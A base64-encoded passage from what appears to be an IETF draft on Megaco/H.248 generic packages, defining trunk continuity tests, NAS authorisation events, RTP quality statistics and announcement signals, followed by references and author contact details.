b3V0KQ0KICAgU2hvcnQgbmFtZTogY29uZ2VzdGlvbg0KDQogICBBIHRvbmUgYWR2aXNpbmcgdGhl
IGNhbGxlciB0aGF0IHRoZSBncm91cHMgb2YgbGluZXMgb3Igc3dpdGNoaW5nDQogICBlcXVpcG1l
bnQgbmVjZXNzYXJ5IGZvciB0aGUgc2V0dGluZy11cCBvZiB0aGUgcmVxdWlyZWQgY2FsbCBvciBm
b3INCiAgIHRoZSB1c2Ugb2YgYSBzcGVjaWZpYyBzZXJ2aWNlIGFyZSB0ZW1wb3JhcmlseSBlbmdh
Z2VkLiAoU2VlIElUVSBSZWMuDQogICBFLjE4MCBhbmQgRS4xODIpDQoNCiAgIFNpZ25hbCBQYXJh
bWV0ZXJzOg0KDQogICBzdHJlYW1pZCAgICAgaWQgb2YgdGhlIGF1ZGlvIHN0cmVhbSB0byBwbGF5
IHRoZSBzaWduYWwgb24uDQogICBkdXJhdGlvbiAgICAgdGltZW91dCBkdXJhdGlvbiBpbiBzZWNv
bmRzLg0KDQogICAzLjguNSBTdGF0aXN0aWMNCiAgIDMuOC41LjEgU3RhdGlzdGljIFJlcXVlc3QN
CiAgIG5vbmUNCiAgIDMuOC41LjIgU3RhdGlzdGljIFJlcG9ydA0KICAgTm9uZQ0KDQogICAtLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLQ0KICAgLS0tLS0tLQ0KICAgMy45IFRydW5rIFN1cHBsZW1lbnRhcnkNCiAgIDMuOS4x
IFRydW5rIFN1cHBsZW1lbnRhcnkgUGFja2FnZQ0KDQogICBTaG9ydCBuYW1lOiB0cnVua3N1cHAN
CgwNCkthbGxhcyBCaWxhbGlzICAgICAgICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2Vz
ICAgICAgICBQYWdlIDI0DQoNCiAgIFRoaXMgcGFja2FnZSBpcyB1c2VkIHRvIGhhbmRsZSBldmVu
dHMgYW5kIHNpZ25hbHMgb24gdHJ1bmtpbmcNCiAgIHRlcm1pbmF0aW9ucyByZWFjaGluZyB0aGUg
TWVkaWEgR2F0ZXdheSBmcm9tIHRoZSBQU1ROIG5ldHdvcmsuDQogICAzLjkuMiBHYXRld2F5IFBy
b3BlcnRpZXMgYXVkaXQNCg0KDQogICAzLjkuMyBFdmVudHMNCiAgIDMuOS4zLjEgRXZlbnQgQ29u
ZmlndXJhdGlvbg0KICAgMy45LjMuMS4xIENvbnRpbnVpdHkgVGVzdA0KDQogICBTaG9ydCBuYW1l
OiBjb250dGVzdA0KICAgVGhpcyBldmVudCBhd2FpdHMgdGhlIHJlY2VwdGlvbiBvZiB0aGUgcmV0
dXJuIHRvbmUsIGFjY29yZGluZyB0byBJVFUNCiAgIEcuNzI0LCBpbiB0aGUgcHJvY2VzcyBvZiBh
IGNvbnRpbnVpdHkgdGVzdC4NCg0KICAgQ29uZmlndXJhdGlvbiBQYXJhbWV0ZXJzOg0KICAgc3Ry
ZWFtaWQgICAgIElkIG9mIHRoZSBhdWRpbyBzdHJlYW0gdG8gcGVyZm9ybSB0aGUgdGVzdCBvbi4N
Cg0KICAgMy45LjMuMiBPYnNlcnZlZCBFdmVudHMNCiAgIDMuOS4zLjIuMSBDb250aW51aXR5IFRl
c3QNCg0KICAgU2hvcnQgbmFtZTogY29udHRlc3QNCg0KICAgRXZlbnQgUGFyYW1ldGVyczoNCiAg
IEluZGljYXRpb24gICAgICAgICAgICJTVUNDRVNTIiwgIk5PIFNVQ0NFU1MiIGFjY29yZGluZyB0
byBJVFUNCiAgIFEuNzI0L1EuNzY0Lg0KDQogICAzLjkuNCBTaWduYWxzDQogICAzLjkuNC4xIENv
bnRpbnVpdHkgVG9uZSAob24vb2ZmKQ0KDQogICBTaG9ydCBuYW1lOiBjb250dG9uZQ0KICAgUGxh
eSBhIGNvbnRpbnVpdHkgdG9uZSBhcyBwYXJ0IG9mIGEgcmVxdWVzdGVkIGNvbnRpbnVpdHkgdGVz
dCBhcw0KICAgZ2l2ZW4gaW4gSVRVIFEuNzI0LiBCb3RoIGEgc2luZ2xlIHRvbmUgdGVzdCBhbmQg
YSBkdWFsIHRvbmUgdGVzdCBhcmUNCiAgIHN1cHBvcnRlZC4gVGhpcyBzaWduYWwgc2hvdWxkIGJl
IHVzZWQgdG9nZXRoZXIgd2l0aCB0aGUgY29udHRlc3QNCiAgIGV2ZW50Lg0KDQogICBTaWduYWwg
UGFyYW1ldGVyczoNCiAgIHN0cmVhbWlkICAgICBpZCBvZiB0aGUgYXVkaW8gc3RyZWFtIHRvIHBl
cmZvcm0gdGhlIHRlc3Qgb24NCiAgIHRlc3R0eXBlICAgICAic2luZ2xlIiBmb3Igc2luZ2xlIHRv
bmUgdGVzdA0KICAgICAgICAgICAgICAgICAgICAgICAgImR1YWwiIGZvciBkdWFsIHRvbmUgdGVz
dA0KICAgMy45LjUgU3RhdGlzdGljDQogICAzLjkuNS4xIFN0YXRpc3RpYyBSZXF1ZXN0DQogICBu
b25lDQogICAzLjkuNS4yIFN0YXRpc3RpYyBSZXBvcnQNCiAgIG5vbmUNCg0KICAgLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0NCiAgIC0tLS0tLS0NCg0KICAgMy4xMCBOQVMNCiAgIDMuMTAuMSBOQVMgUGFja2FnZQ0KDA0K
S2FsbGFzIEJpbGFsaXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAg
ICAgIFBhZ2UgMjUNCg0KICAgU2hvcnQgbmFtZTogbmFzDQoNCiAgIFRoaXMgcGFja2FnZSBzdXBw
b3J0cyB0aGUgZnVuY3Rpb25hbGl0eSBvZiBhIE1lZGlhIEdhdGV3YXkgYXMgTkFTDQogICAoTmV0
d29yayBBY2Nlc3MgU2VydmVyKS4gVGhpcyBlbmNvbXBhc3NlcyB0aGUgc3VwcG9ydCBvZiBkaWFs
LWluDQogICBhY2Nlc3MgdG8gdGhlIE5BUywgYnV0IG5vdCB0aGUgY29udGFjdCB0byBhIEFBQSBz
ZXJ2ZXIgZm9yDQogICBhdXRoZW50aWNhdGlvbiwgYXV0aG9yaXNhdGlvbiBldGMgYW5kIHRoZSBw
b3NzaWJsZSBzdWJzZXF1ZW50IHNldC11cA0KICAgb2YgYSBsYXllciAyIHR1bm5lbCB0byBhIHJl
bW90ZSBOQVMuIFRob3NlIGFyZSBhdXRvbm9tb3VzIGZ1bmN0aW9ucw0KICAgb2YgYSBOQVMgYW5k
IHRoZXJlZm9yZSBvdXQgb2Ygc2NvcGUgZm9yIHRoZSBNZWdhY28gcHJvdG9jb2wgKHNlZQ0KICAg
ZS5nLiBJRVRGIFJGQyAyNjYxIChMMlRQKSBhbmQgUkZDIDE2NjEgKFBQUCkpLg0KICAgMy4xMC4y
IEdhdGV3YXkgUHJvcGVydGllcyBhdWRpdA0KICAgMy4xMC4zIEV2ZW50cw0KICAgMy4xMC4zLjEg
RXZlbnQgQ29uZmlndXJhdGlvbg0KICAgMy4xMC4zLjEuMSBSZXBvcnQgRmFpbHVyZQ0KICAgU2hv
cnQgbmFtZTogcmVwZmFpbA0KDQogICBTaWduYWxzIG9uIHRoZSB0ZXJtaW5hdGlvbiB0aGUgZGV0
ZWN0aW9uIG9mIGEgZmFpbHVyZSBkdWUgdG8NCiAgIGV4dGVybmFsIG9yIGludGVybmFsIChpbiB0
aGUgTWVkaWEgR2F0ZXdheSkgcmVhc29ucy4NCg0KICAgQ29uZmlndXJhdGlvbiBQYXJhbWV0ZXJz
Og0KDQogICBzdHJlYW1pZCAgICAgSWQgb2YgdGhlIHN0cmVhbSB0byByZXBvcnQgZmFpbHVyZSBv
bi4NCg0KICAgMy4xMC4zLjEuMiBBdXRob3Jpc2F0aW9uIHN1Y2NlZWRlZA0KDQogICBTaG9ydCBu
YW1lOiBhdXRoc3VjYw0KDQogICBUaGlzIGV2ZW50IHNpZ25hbHMgdGhhdCBhdXRob3Jpc2F0aW9u
IGJ5IHRoZSBBQUEgc2VydmVyIGZvciB0aGUNCiAgIHJlcXVlc3RlZCBzZXJ2aWNlIHdhcyBzdWNj
ZXNzZnVsIChzZWUgZm9yIGV4YW1wbGUgSUVURiBSRkMgMjEzOA0KICAgKFJBRElVUykpDQoNCiAg
IENvbmZpZ3VyYXRpb24gUGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIElkIG9mIHRoZSBz
dHJlYW0gdG8gcmVwb3J0IG9uLg0KDQogICAzLjEwLjMuMS4zIEF1dGhvcmlzYXRpb24gZGVuaWVk
DQoNCiAgIFNob3J0IG5hbWU6IGF1dGhkZW4NCg0KICAgVGhpcyBldmVudCBzaWduYWxzIHRoYXQg
YXV0aG9yaXNhdGlvbiBieSB0aGUgQUFBIHNlcnZlciBmb3IgdGhlDQogICByZXF1ZXN0ZWQgc2Vy
dmljZSB3YXMgZGVuaWVkIChzZWUgZm9yIGV4YW1wbGUgSUVURiBSRkMgMjEzOA0KICAgKFJBRElV
UykpDQoNCiAgIENvbmZpZ3VyYXRpb24gUGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAgIElk
IG9mIHRoZSBzdHJlYW0gdG8gcmVwb3J0IG9uLg0KDQogICAzLjEwLjMuMS40IENhbGwgYmFjayBS
ZXF1ZXN0DQoNCiAgIFNob3J0IG5hbWU6IGNicg0KDA0KS2FsbGFzIEJpbGFsaXMgICAgICAgICAg
TWVnYWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgMjYNCg0KICAgVGhlIGNh
bGwgYmFjayBldmVudCBpcyB1c2VkIHRvIG5vdGlmeSB0aGF0IGEgY2FsbC1iYWNrIGhhcyBiZWVu
DQogICByZXF1ZXN0ZWQgYnkgdGhlIEFBQSBzZXJ2ZXIgZHVyaW5nIHRoZSBpbml0aWFsIHBoYXNl
IG9mIGEgZGF0YQ0KICAgY29ubmVjdGlvbiAoc2VlIElFVEYgUkZDIDIxMzggKFJBRElVUykpLiBU
aGUgZXZlbnQgcmVwb3J0IGluY2x1ZGVzDQogICB0aGUgaWRlbnRpZmljYXRpb24gb2YgdGhlIHVz
ZXIgdG8gYmUgY2FsbGVkIGJhY2ssIGUuZy4gRS4xNjQgbnVtYmVyLg0KDQogICBDb25maWd1cmF0
aW9uIFBhcmFtZXRlcnM6DQoNCiAgIHN0cmVhbWlkICAgICBJZCBvZiB0aGUgc3RyZWFtIG9uIHdo
aWNoIHRvIGxvb2sgZm9yIHRoZSByZXF1ZXN0Lg0KDQogICAzLjEwLjMuMS41IEF1dGhlbnRpY2F0
aW9uIEF1dGhvcmlzYXRpb24gYW5kIEFjY291bnRpbmcgKEFBQSkgRmFpbHVyZQ0KDQogICBTaG9y
dCBuYW1lOiBhYWFmYWlsDQoNCiAgIFVzZWQgdG8gc2lnbmFsIGZhaWx1cmUgb2YgdGhlIEFBQSBz
ZXJ2ZXIuDQoNCiAgIENvbmZpZ3VyYXRpb24gUGFyYW1ldGVyczoNCg0KICAgc3RyZWFtaWQgICAg
IElkIG9mIHRoZSBzdHJlYW0gdG8gY2hlY2sgZm9yIGZhaWx1cmUuDQoNCg0KICAgMy4xMC4zLjIg
T2JzZXJ2ZWQgRXZlbnRzDQogICAzLjEwLjMuMi4xIFJlcG9ydCBGYWlsdXJlDQogICBTaG9ydCBu
YW1lOiByZXBmYWlsDQoNCiAgIEV2ZW50IFBhcmFtZXRlcnM6DQoNCiAgIEVycm9yIGNvZGUgICAy
IGJ5dGVzIGRlc2NyaWJpbmcgdGhlIGZhaWx1cmUgcmVhc29uDQogICAgICAgICAgICAgICAgICAg
ICAgICBEZWZhdWx0OiAwMDAwIChpbnRlcm5hbCBlcnJvcikNCiAgIDMuMTAuMy4yLjIgQXV0aG9y
aXNhdGlvbiBzdWNjZWVkZWQNCg0KICAgU2hvcnQgbmFtZTogYXV0aHN1Y2MNCg0KICAgRXZlbnQg
UGFyYW1ldGVyczoNCiAgIG5vbmUNCiAgIDMuMTAuMy4yLjMgQXV0aG9yaXNhdGlvbiBkZW5pZWQN
Cg0KICAgU2hvcnQgbmFtZTogYXV0aGRlbg0KDQogICBFdmVudCBQYXJhbWV0ZXJzOg0KICAgbm9u
ZQ0KICAgMy4xMC4zLjIuNCBBdXRoZW50aWNhdGlvbiBBdXRob3JpemF0aW9uIGFuZCBBY2NvdW50
aW5nIChBQUEpIEZhaWx1cmUNCg0KICAgU2hvcnQgbmFtZTogYWFhZmFpbA0KDQogICBFdmVudCBQ
YXJhbWV0ZXJzOg0KICAgRXJyb3IgY29kZSAgIDIgYnl0ZXMgZGVzY3JpYmluZyB0aGUgZmFpbHVy
ZSByZWFzb24NCiAgICAgICAgICAgICAgICAgICAgICAgIERlZmF1bHQ6IDAwMDAgKGludGVybmFs
IGVycm9yKQ0KICAgMy4xMC40IFNpZ25hbHMNCiAgIDMuMTAuNSBTdGF0aXN0aWMNCiAgIDMuMTAu
NS4xIFN0YXRpc3RpYyBSZXF1ZXN0DQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28v
SC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAyNw0KDQogICBub25lDQogICAzLjEw
LjUuMiBTdGF0aXN0aWMgUmVwb3J0DQogICBub25lDQoNCiAgIC0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQogICAtLS0t
LS0tDQogICAzLjExIFJUUA0KICAgMy4xMS4xIFJUUCBQYWNrYWdlDQogICBTaG9ydCBuYW1lOiBy
dHANCg0KICAgVGhpcyBwYWNrYWdlIGlzIHVzZWQgdG8gc3VwcG9ydCBwYWNrZXQgYmFzZWQgbXVs
dGltZWRpYSBkYXRhDQogICB0cmFuc2ZlciBieSBtZWFucyBvZiB0aGUgUmVhbC10aW1lIFRyYW5z
cG9ydCBQcm90b2NvbCAoUlRQKS4NCiAgIDMuMTEuMiBHYXRld2F5IFByb3BlcnRpZXMgYXVkaXQN
CiAgIDMuMTEuMi4xIFRpbWVzdGFtcHMNCiAgIFNob3J0IG5hbWU6IHRpbWVzdA0KDQogICBEZXNj
cmliZXMgdGhlIHRpbWUgdW5pdHMuDQoNCiAgIFBvc3NpYmxlIHZhbHVlczoNCiAgIG1pbGxpc2Vj
b25kcw0KICAgbWludXRlcw0KDQogICAzLjExLjMgRXZlbnRzDQogICAzLjExLjMuMSBFdmVudCBD
b25maWd1cmF0aW9uDQogICAzLjExLjMuMS4xIFJlcG9ydCBGYWlsdXJlDQogICBTaG9ydCBuYW1l
OiByZXBmYWlsDQoNCiAgIFNpZ25hbHMgb24gdGhlIHRlcm1pbmF0aW9uIHRoZSBkZXRlY3Rpb24g
b2YgYSBmYWlsdXJlIGR1ZSB0bw0KICAgZXh0ZXJuYWwgb3IgaW50ZXJuYWwgKGluIHRoZSBNZWRp
YSBHYXRld2F5KSByZWFzb25zLg0KDQogICBDb25maWd1cmF0aW9uIFBhcmFtZXRlcnM6DQoNCiAg
IHN0cmVhbWlkICAgICBJZCBvZiB0aGUgYXVkaW8gc3RyZWFtIHRvIHJlcG9ydCBmYWlsdXJlIG9u
Lg0KDQogICAzLjExLjMuMS4yIFF1YWxpdHkgQWxlcnQNCiAgIFNob3J0IG5hbWU6IHF1YWxlcnQN
Cg0KICAgQWxlcnRzIHRoZSBNR0MgaW4gY2FzZSBqaXR0ZXIsIGRlbGF5IG9yIHRoZSByYXRlIG9m
IHBhY2tldCBsb3NzDQogICBleGNlZWQgZ2l2ZW4gdGhyZXNob2xkIHZhbHVlcy4gU2VlIElFVEYg
UkZDIDE4ODkgZm9yIGEgZGVmaW5pdGlvbiBvZg0KICAgdGhvc2UgdGVybXMuDQoNCiAgIENvbmZp
Z3VyYXRpb24gUGFyYW1ldGVyczoNCiAgIHN0cmVhbWlkICAgICBJZCBvZiB0aGUgYXVkaW8gc3Ry
ZWFtIHRvIHBlcmZvcm0gdGhlIHRlc3Qgb24uDQoNCiAgIHBhY2tldCBsb3NzICBwYWNrZXQgbG9z
cyB0aHJlc2hvbGQgdmFsdWUgKGFzIHBlcmNlbnRhZ2UpDQogICBqaXR0ZXIgICAgICAgICAgICAg
ICBqaXR0ZXIgdGhyZXNob2xkIHZhbHVlIGluIHRpbWVzdGFtcCB1bml0cy4NCiAgIGRlbGF5ICAg
ICAgICAgICAgICAgIHBhY2tldCBwcm9wYWdhdGlvbiBkZWxheSBtZWFzdXJlZCBpbiB0aW1lc3Rh
bXANCiAgIHVuaXRzLg0KICAgMy4xMS4zLjIgT2JzZXJ2ZWQgRXZlbnRzDQogICAzLjExLjMuMi4x
IFJlcG9ydCBGYWlsdXJlDQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28vSC4yNDgg
R2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAyOA0KDQogICBTaG9ydCBuYW1lOiByZXBmYWls
DQoNCiAgIEV2ZW50IFBhcmFtZXRlcnM6DQoNCiAgIEVycm9yIGNvZGUgICAyIGJ5dGVzIGRlc2Ny
aWJpbmcgdGhlIGZhaWx1cmUgcmVhc29uDQogICAgICAgICAgICAgICAgICAgICAgICBEZWZhdWx0
OiAwMDAwIChpbnRlcm5hbCBlcnJvcikNCg0KICAgMy4xMS4zLjIuMiBRdWFsaXR5IEFsZXJ0DQoN
CiAgIFNob3J0IG5hbWU6IHF1YWxlcnQNCg0KICAgRXZlbnQgUGFyYW1ldGVyczoNCiAgIHBhY2tl
dCBsb3NzICBtZWFzdXJlZCB2YWx1ZSBvZiBwYWNrZXQgbG9zcyAoYXMgcGVyY2VudGFnZSkNCiAg
IGppdHRlciAgICAgICAgICAgICAgIG1lYXN1cmVkIGludGVyYXJyaXZhbCBqaXR0ZXIgKGluIHRp
bWVzdGFtcA0KICAgdW5pdHMpDQogICBkZWxheSAgICAgICAgICAgICAgICBwYWNrZXQgcHJvcGFn
YXRpb24gZGVsYXkgbWVhc3VyZWQgaW4gdGltZXN0YW1wDQogICB1bml0cy4NCiAgIDMuMTEuNCBT
aWduYWxzDQoNCiAgIDMuMTEuNSBTdGF0aXN0aWMNCiAgIDMuMTEuNS4xIFN0YXRpc3RpYyBSZXF1
ZXN0DQogICAzLjExLjUuMS4xICBQYWNrZXQgTG9zcw0KDQogICBTaG9ydCBuYW1lOiBwbA0KDQog
ICBEZXNjcmliZXMgdGhlIGN1cnJlbnQgcmF0ZSBvZiBwYWNrZXQgbG9zcyBvbiBhbiBSVFAgc3Ry
ZWFtLCBhcw0KICAgZGVmaW5lZCBpbiBJRVRGIFJGQyAxODg5LiBQYWNrZXQgbG9zcyBpcyBleHBy
ZXNzZWQgYXMgcGVyY2VudGFnZQ0KICAgdmFsdWU6IG51bWJlciBvZiBwYWNrZXRzIGxvc3QgaW4g
dGhlIGludGVydmFsIGJldHdlZW4gdHdvIHJlY2VwdGlvbg0KICAgcmVwb3J0cywgZGl2aWRlZCBi
eSB0aGUgbnVtYmVyIG9mIHBhY2tldHMgZXhwZWN0ZWQgZHVyaW5nIHRoYXQNCiAgIGludGVydmFs
Lg0KDQogICBSZXF1ZXN0IHBhcmFtZXRlcnM6IFJUUCBzdHJlYW0gSUQuDQogICAzLjExLjUuMS4y
ICBKaXR0ZXINCg0KICAgU2hvcnQgbmFtZTogaml0dGVyDQoNCiAgIFJlcXVlc3RzIHRoZSBjdXJy
ZW50IHZhbHVlIG9mIHRoZSBpbnRlcmFycml2YWwgaml0dGVyIG9uIGFuIFJUUA0KICAgc3RyZWFt
IGFzIGRlZmluZWQgaW4gSUVURiBSRkMgMTg4OS4gSml0dGVyIG1lYXN1cmVzIHRoZSB2YXJpYXRp
b24gaW4NCiAgIGludGVyYXJyaXZhbCB0aW1lIGZvciBSVFAgZGF0YSBwYWNrZXRzLg0KDQogICBS
ZXF1ZXN0IHBhcmFtZXRlcnM6IFJUUCBzdHJlYW0gSUQuDQoNCiAgIDMuMTEuNS4xLjMgRGVsYXkN
Cg0KICAgU2hvcnQgbmFtZTogZGVsYXkNCg0KICAgUmVxdWVzdHMgdGhlIGN1cnJlbnQgdmFsdWUg
b2YgcGFja2V0IHByb3BhZ2F0aW9uIGRlbGF5IGV4cHJlc3NlZCBpbg0KICAgdGltZXN0YW1wIHVu
aXRzLg0KDQogICBSZXF1ZXN0IHBhcmFtZXRlcnM6IFJUUCBzdHJlYW0gSUQuDQoMDQpLYWxsYXMg
QmlsYWxpcyAgICAgICAgICBNZWdhY28vSC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFn
ZSAyOQ0KDQoNCiAgIDMuMTEuNS4yIFN0YXRpc3RpYyBSZXBvcnQNCiAgIDMuMTEuNS4yLjEgUGFj
a2V0IExvc3MNCg0KICAgU2hvcnQgbmFtZTogcGwNCg0KICAgUG9zc2libGUgdmFsdWVzOiBwZXJj
ZW50YWdlIHZhbHVlIG9mIHBhY2tldHMgbG9zdCBvbiB0aGlzIHN0cmVhbS4NCg0KICAgMy4xMS41
LjIuMiAgSml0dGVyDQoNCiAgIFNob3J0IG5hbWU6IGppdHRlcg0KDQogICBQb3NzaWJsZSB2YWx1
ZXM6IGludGVyYXJyaXZhbCBqaXR0ZXIgbWVhc3VyZWQgaW4gdGltZXN0YW1wIHVuaXRzLg0KDQog
ICAzLjExLjUuMi4zIERlbGF5DQoNCiAgIFNob3J0IG5hbWU6IGRlbGF5DQoNCiAgIFBvc3NpYmxl
IHZhbHVlczogcGFja2V0IHByb3BhZ2F0aW9uIGRlbGF5IG1lYXN1cmVkIGluIHRpbWVzdGFtcA0K
ICAgdW5pdHMuDQoNCg0KDQogICAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KICAgLS0tLS0tLQ0KICAgMy4xMiBBbm91
bmNlbWVudA0KICAgMy4xMi4xIEFubm91bmNlbWVudCBTZXJ2ZXIgUGFja2FnZQ0KDQogICBTaG9y
dCBuYW1lOiBhbm4NCg0KICAgVGhpcyBwYWNrYWdlIHN1cHBvcnRzIGFubm91bmNlbWVudCBmdW5j
dGlvbmFsaXR5IGF0IGEgTWVkaWEgR2F0ZXdheS4NCiAgIDMuMTIuMiBHYXRld2F5IFByb3BlcnRp
ZXMgYXVkaXQNCiAgIDMuMTIuMyBFdmVudHMNCiAgIDMuMTIuMy4xIEV2ZW50IENvbmZpZ3VyYXRp
b24NCiAgIDMuMTIuMy4xLjEgQW5ub3VuY2VtZW50IGNvbXBsZXRlZA0KDQogICBTaG9ydCBuYW1l
OiBhbm5jb21wDQogICAzLjEyLjMuMS4yIEFubm91bmNlbWVudCBGYWlsdXJlDQoNCiAgIFNob3J0
IG5hbWU6IGFubmZhaWwNCg0KICAgQ29uZmlndXJhdGlvbiBQYXJhbWV0ZXJzOg0KDQogICBzdHJl
YW1pZCAgICAgSWQgb2YgdGhlIGNvbmNlcm5lZCBhdWRpbyBzdHJlYW0uDQoNCiAgIDMuMTIuMy4y
IE9ic2VydmVkIEV2ZW50cw0KICAgMy4xMi4zLjIuMSBBbm5vdW5jZW1lbnQgRmFpbHVyZQ0KDQog
ICBTaG9ydCBuYW1lOiBhbm5mYWlsDQoMDQpLYWxsYXMgQmlsYWxpcyAgICAgICAgICBNZWdhY28v
SC4yNDggR2VuZXJpYyBQYWNrYWdlcyAgICAgICAgUGFnZSAzMA0KDQogICBFdmVudCBQYXJhbWV0
ZXJzOg0KICAgRXJyb3IgY29kZSAgIDIgYnl0ZXMgZGVzY3JpYmluZyB0aGUgZmFpbHVyZSByZWFz
b24NCiAgICAgICAgICAgICAgICAgICAgICAgIERlZmF1bHQ6IDAwMDAgKGludGVybmFsIGVycm9y
KQ0KICAgMy4xMi4zLjIuMiAgQW5ub3VuY2VtZW50IGNvbXBsZXRlZA0KDQogICBTaG9ydCBuYW1l
OiBhbm5jb21wDQoNCiAgIDMuMTIuNCBTaWduYWxzDQogICAzLjEyLjQuMSBBbm5vdW5jZW1lbnQg
UGxheQ0KDQogICBTaG9ydCBuYW1lOiBhbm5wbGF5DQogICBQbGF5IGFuIGFubm91bmNlbWVudA0K
DQogICBTaWduYWwgUGFyYW1ldGVyczoNCiAgIHN0cmVhbUlkICAgICBpZCBvZiB0aGUgYXVkaW8g
c3RyZWFtIHRvIHBsYXkgYW4gYW5ub3VuY2VtZW50IG9uDQogICB0eXBlICAgICAgICAgY2hvaWNl
IGZyb20gYW4gYW5ub3VuY2VtZW50IGxpc3QNCiAgIHBhcmFtcyAgICAgICAgICAgICAgIGFubm91
bmNlbWVudCBwYXJhbWV0ZXJzIChlLmcuICBzcGVjaWZpYw0KICAgbnVtYmVycykNCg0KICAgMy4x
Mi41IFN0YXRpc3RpYw0KICAgMy4xMi41LjEgU3RhdGlzdGljIFJlcXVlc3QNCiAgIG5vbmUNCiAg
IDMuMTIuNS4yIFN0YXRpc3RpYyBSZXBvcnQNCiAgIG5vbmUNCg0KDQoNCjQuIFJlZmVyZW5jZXMN
Cg0KDQogICBbXSBDQ0lUVCBSZWNvbW1lbmRhdGlvbiBFLjE4MC9RLjM1ICBUZWNobmljYWwgY2hh
cmFjdGVyaXN0aWNzIG9mDQogICB0b25lcyBmb3IgdGhlIHRlbGVwaG9uZSBzZXJ2aWNlICgwMy85
OCkNCiAgIFtdQ0NJVFQgUmVjb21tZW5kYXRpb24gRS4xODIgQXBwbGljYXRpb24gb2YgdG9uZXMg
YW5kIHJlY29yZGVkDQogICBhbm5vdW5jZW1lbnRzIGluIHRlbGVwaG9uZSBzZXJ2aWNlcyAoMDMv
OTgpDQogICBbXUNDSVRUIFJlY29tbWVuZGF0aW9uIFEuNzI0ICgxOTg4KS4gVGVsZXBob25lIFVz
ZXIgUGFydCBTaWduYWxsaW5nDQogICBQcm9jZWR1cmVzDQogICBbXUNDSVRUIFJlY29tbWVuZGF0
aW9uIFEuNzY0ICgxOTg4KS4gU2lnbmFsbGluZyBTeXN0ZW0gTm8uNyBJU0RODQogICBVc2VyIFBh
cnQgU2lnbmFsbGluZyBQcm9jZWR1cmVzDQogICBbXUNDSVRUIFJlY29tbWVuZGF0aW9uIFEuMTE1
ICgwNi85NykgTG9naWMgZm9yIHRoZSBjb250cm9sIG9mIGVjaG8NCiAgIGNvbnRyb2wgZGV2aWNl
cw0KICAgW11DQ0lUVCBSZWNvbW1lbmRhdGlvbnMgUS40MDAgdG8gUS40OTAgKDE5ODgpLCBTcGVj
aWZpY2F0aW9ucyBvZg0KICAgU2lnbmFsbGluZyBTeXN0ZW0gUjIuDQogICBbXSBJRVRGIFJGQyAx
NjYxOiBTaW1wc29uLCBXLiwgVGhlIFBvaW50LXRvLVBvaW50IFByb3RvY29sIChQUFApLA0KICAg
SnVseSAxOTk0DQogICBbXSBJRVRGIFJGQyAxODg5OiBTY2h1bHpyaW5uZSwgSC4sIGV0IGFsLCBS
VFA6IEEgVHJhbnNwb3J0IFByb3RvY29sDQogICBmb3IgUmVhbC1UaW1lIEFwcGxpY2F0aW9ucywg
SmFudWFyeSAxOTk2DQogICBbXSBJRVRGIFJGQyAyMTM4OiBSaWduZXksIEMuLCBldCBhbCwgUmVt
b3RlIEF1dGhlbnRpY2F0aW9uIERpYWwgSW4NCiAgIFNlcnZpY2UgKFJBRElVUyksIEFwcmlsIDE5
OTcNCiAgIFtdSUVURiBSRkMgMjY2MTogVG93bnNsZXksIFcuLCBldCBhbCwgTGF5ZXIgVHdvIFR1
bm5lbGluZyBQcm90b2NvbA0KICAgIkwyVFAiLCBBdWd1c3QgMTk5OQ0KDA0KS2FsbGFzIEJpbGFs
aXMgICAgICAgICAgTWVnYWNvL0guMjQ4IEdlbmVyaWMgUGFja2FnZXMgICAgICAgIFBhZ2UgMzEN
Cg0KDQoNCjUuIEF1dGhvcidzIEFkZHJlc3Nlcw0KDQogICA8TWlrZT4gPEthbGxhcz4NCiAgIDxO
b3J0ZWwgTmV0d29ya3M+DQogICBOb3J0ZWwgTmV0d29ya3MNCiAgIFAuTy4gQm94IDgzMzgwNQ0K
ICAgUmljaGFyZHNvbiwgVGV4YXMgNzUwODMtMzgwNQ0KICAgVVNBDQoNCiAgIEVtYWlsOiA8bWlr
ZS5rYWxsYXNAbm9ydGVsbmV0d29ya3MuY29tPg0KDQogICBaYWNoYXJpYXMgQmlsYWxpcyhlZGl0
b3IpDQogICBTaWVtZW5zDQogICBFbWFpbDogIHphY2hhcmlhcy5iaWxhbGlzQGljbi5zaWVtZW5z
LmRlDSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0gICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICANCgwNCkthbGxhcyBCaWxhbGlzICAgICAg
ICAgIE1lZ2Fjby9ILjI0OCBHZW5lcmljIFBhY2thZ2VzICAgICAgICBQYWdlIDMyDQoNCg0KRnVs
bCBDb3B5cmlnaHQgU3RhdGVtZW50DQoNCiAgICJDb3B5cmlnaHQgKEMpIFRoZSBJbnRlcm5ldCBT
b2NpZXR5IChkYXRlKS4gQWxsIFJpZ2h0cyBSZXNlcnZlZC4NCiAgIFRoaXMgZG9jdW1lbnQgYW5k
IHRyYW5zbGF0aW9ucyBvZiBpdCBtYXkgYmUgY29waWVkIGFuZCBmdXJuaXNoZWQgdG8NCiAgIG90
